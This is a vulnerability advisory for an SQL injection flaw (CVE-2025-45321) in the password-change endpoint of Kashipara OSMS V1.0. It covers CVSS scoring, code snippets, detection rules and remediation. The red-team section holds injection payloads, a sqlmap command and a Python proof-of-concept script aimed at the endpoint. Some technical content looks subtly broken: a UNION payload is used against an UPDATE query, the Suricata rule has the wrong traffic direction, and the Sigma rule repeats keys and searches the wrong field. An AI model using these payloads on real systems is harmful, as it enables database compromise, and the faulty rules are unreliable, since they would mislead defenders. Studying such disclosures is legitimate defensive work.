CVE-2025-45321

Executive Summary

CVE-2025-45321 is a critical SQL Injection vulnerability discovered in Kashipara Online Service Management Portal (OSMS) V1.0. The flaw resides in the /osms/Requester/Requesterchangepass.php script, specifically within the rPassword parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the application environment. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. No official patch has been released by the vendor, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application vulnerability. However, organizations should verify the integrity of their OSMS installation and consider the risk of supply chain compromise if the application was obtained from unofficial sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is Critical. The vulnerability allows an attacker to execute arbitrary SQL queries without authentication, potentially leading to complete control over the application database and underlying server.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the password change functionality. The rPassword parameter is directly concatenated into an SQL query without proper sanitization or parameterized statements. An attacker can manipulate this parameter to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Conceptual):

$sql = "UPDATE requester SET password = '" . $_POST['rPassword'] . "' WHERE id = " . $_SESSION['requester_id'];
$result = mysqli_query($conn, $sql);

The attacker can inject a payload like:

' OR '1'='1' -- -

This would modify the query to:

UPDATE requester SET password = '' OR '1'='1' -- -' WHERE id = ...

The -- - comments out the rest of the query, potentially updating all records or allowing further injection.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$rPassword = $_POST['rPassword'];
$sql = "UPDATE requester SET password = '$rPassword' WHERE id = $requesterId";
$result = mysqli_query($conn, $sql);

Patched Code (Conceptual):

$rPassword = mysqli_real_escape_string($conn, $_POST['rPassword']);
$sql = "UPDATE requester SET password = '$rPassword' WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $requesterId);
mysqli_stmt_execute($stmt);

The patched version uses mysqli_real_escape_string() for basic escaping and parameterized queries with prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Kashipara OSMS V1.0
• Network access to the /osms/Requester/Requesterchangepass.php endpoint

Exploit Steps:

1. Intercept the password change request using a proxy (e.g., Burp Suite).
2. Modify the rPassword parameter to inject SQL.
3. Example payload to extract database version:

   ' UNION SELECT @@version,2,3 -- -
   

4. Use sqlmap for automated exploitation:

   sqlmap -u "http://target.com/osms/Requester/Requesterchangepass.php" --data="rPassword=test" --batch --dbs
   

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/osms/Requester/Requesterchangepass.php"
payload = "' OR '1'='1' -- -"
data = {"rPassword": payload}

response = requests.post(target, data=data)
if "success" in response.text.lower():
    print("[+] SQL Injection successful")
else:
    print("[-] Exploit failed")

Blue Team

Detection Steps:

1. Monitor web server logs for abnormal SQL keywords in POST parameters (e.g., UNION, SELECT, OR 1=1).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries.

Honeypot Setup:

• Deploy a decoy OSMS instance with enhanced logging.
• Monitor for requests to /osms/Requester/Requesterchangepass.php with suspicious rPassword values.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /osms/Requester/Requesterchangepass.php containing SQL keywords in the rPassword parameter.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified Requesterchangepass.php file (if attacker uploads a webshell).
  • Suspicious files in the /osms/ directory (e.g., .php files with base64 encoded content).
• Log IOCs:
  • Web server logs showing 400 or 500 errors from SQL injection attempts.
  • Database logs showing UNION, SELECT, DROP, or INSERT statements from the web application user.

Detection Engineering

YARA Rule

rule CVE_2025_45321_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-45321 in Kashipara OSMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45321"
    strings:
        $s1 = "rPassword=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "DROP" nocase
    condition:
        $s1 and (any of ($s2, $s3, $s4, $s5))
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara OSMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-45321
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/osms/Requester/Requesterchangepass.php'
        cs-uri-query|contains: 'rPassword='
        cs-uri-query|contains|any:
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
            - 'DROP'
    condition: selection
falsepositives:
    - Legitimate password changes with unusual characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-45321 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/osms/Requester/Requesterchangepass.php";
    http_uri;
    content:"rPassword=";
    http_client_body;
    pcre:"/(UNION|SELECT|OR\s+1=1|DROP)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from production networks if possible.
2. Apply input validation and parameterized queries to all SQL interactions.
3. Deploy a WAF with virtual patching for SQL injection.
4. Monitor logs for exploitation attempts.

Long-Term Fix:

• Replace all dynamic SQL with prepared statements (PDO or MySQLi).
• Implement strict input validation and output encoding.
• Conduct a full security audit of the application.

Workaround:

• Disable the password change functionality until a patch is available.
• Restrict access to the /osms/Requester/ directory via .htaccess or firewall rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert